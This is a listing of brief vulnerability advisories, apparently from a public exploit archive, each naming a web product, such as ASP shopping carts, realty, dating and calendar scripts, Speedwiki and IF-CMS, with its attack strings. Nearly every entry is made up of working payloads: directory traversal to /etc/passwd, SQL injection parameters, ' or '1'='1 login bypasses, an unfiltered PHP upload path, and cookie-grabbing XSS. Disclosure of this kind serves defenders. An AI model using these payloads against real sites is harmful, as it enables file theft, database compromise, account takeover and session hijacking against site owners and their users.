abittraversed.txt

vendor site: http://www.unverse.net/abitwhizzy/ product : aBitWhizzy bug:local file include global risk : high http://site.com/abitwhizzy.php?f=../../../../../../../etc/passwd laurent gaffié & benjamin mossé http://s-a-p.ca/ contact: [email protected]...

klf-realty [injection sql]

vendor site:http://klf-design.com/ product :klf-realty bug:injection sql risk : medium injection sql : /searchlisting.asp?category='sql /detail.asp?propertyid='sql /searchlisting.asp?agent='sql laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

klfrealty.txt

vendor site:http://klf-design.com/ product :klf-realty bug:injection sql risk : medium injection sql : /searchlisting.asp?category='sql /detail.asp?propertyid='sql /searchlisting.asp?agent='sql laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

20/20 auto gallery [ multiples injection sql ]

vendor site:http://www.2020autogallery.com/ product:20/20 auto gallery bug:injection sql global risk:high injection sql get : http://site.com/vehiclelistings.asp?vehicleID='sql http://site.com/vehiclelistings.asp?categoryIDlist='sql http://site.com/vehiclelistings.asp?saletype='sql...

Infinitytechs Restaurants CM

product:Infinitytechs Restaurants CM bug:injection sql risk:medium injection sql: /rating.asp?id='sql /mealrest.asp?mealid='sql /resdetails.asp?resid='sql laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

20/20 datashed [ multiples injection sql ]

vendor site:http://www.2020applications.com/ product:20/20 datashed bug:injection sql risk:high injection sql get : /f-email.asp?strPeopleID=1&itemID='sql /listings.asp?peopleID='sql /listings.asp?sortorder='sql laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

Dating Site [ login bypass & xss]

vendor site:http://www.hotwebapp.com/ product:Dating Site bug:injection sql & xss risk:high log in with : username = ' or '1' = '1 passwd = ' or '1' = '1 xss get : /loginform.asp?msg=xss here laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

CandyPress Store[ multiples injection sql ]

vendor site:http://www.candypress.com/ product:CandyPress Store bug:injection sql risk:medium injection sql get : http://site.com/sa3.5.2.14/scripts/openPolicy.asp?policy='sql http://site.com/sa3.5.2.14/scripts/prodList.asp?brand='sql laurent gaffie & benjamin mosse http://s-a-p.ca/ contact:...

Pilot Cart V.7.2 [ injection sql (post) ]

vendor site:http://www.pilotcart.com/ product:Pilot Cart V.7.2 bug:injection sql risk:high injection sqlpost : in the search engine: http://site.com/pilot.asp?pg=search&mode=results variables : srch='sql&searchBy=Products laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: saps.audit@gmail....

eShopping Cart [injection sql]

vendor site:http://www.enthrallweb.com/ product:eShopping Cart bug:injection sql risk:medium injection sql : http://site.com/reviews.asp?ProductID='sql http://site.com/subProducts.asp?catid='sql http://site.com/productdetail.asp?ProductID='sql http://site.com/subProducts.asp?catid=27&subid='sql...

Inventory Manager [injection sql & xss (get)]

vendor site:http://www.websitedesignsforless.com/ product:Inventory Manager bug:injection sql & xss get risk:medium injection sql : http://site.com/inventory/inventory/display/imager.asp?pictable='sql http://site.com/inventory/inventory/display/imager.asp?pictable=inventory&picfield=sql...

Evolve Merchant[ injection sql ]

vendor site:http://www.lynxinternet.com/ product:Evolve Merchant bug:injection sql risk:medium injection sql get : http://site.com/viewcart.asp?zoneid='sql laurent gaffie & benjamin mosse http://s-a-p.ca/ contact: [email protected]...

A+ Store E-Commerce[ injection sql & xss (post) ]

vendor site:http://www.webinhabit.com/ product:A+ Store E-Commerce bug:injection sql & xss post risk:medium injection sql get : http://site.com/browse.asp?ParentID='sql xss post : in /accountlogin.asp: username =...

Dragon calendar [ login bypass & injection sql ]

vendor site:http://www.dragoninternet.net/ product:Dragon Events Listing bug:login bypass & injection sql risk:high login bypass : username: 'or''=' passwd: 'or''=' injection sql get http://site.com/eventsearchdetail.asp?ID='sql http://site.com/venuedetail.asp?VenueID='sql laurent gaffie & benjam...

Speedwiki 2.0 Arbitrary File Upload Vulnerability

product :Speedwiki 2.0 vendor site: http://speedywiki.sourceforge.net/ risk:critical a user logged in , can upload a PHP script on the server , by the upload script , there's actually no upload filter on this cms path : /speedywiki/index.php?upload=1 xss get :...

IF-CMS multiples XSS vunerabilities

vendor site: http://www.rhadrix.com/ risk : low xss = /index.php?rns=/titlescriptalertdocument.cookie/script full path array /index.php?rns= /index.php?pag= benjamin mosse & laurent gaffie http://s-a-p.ca/...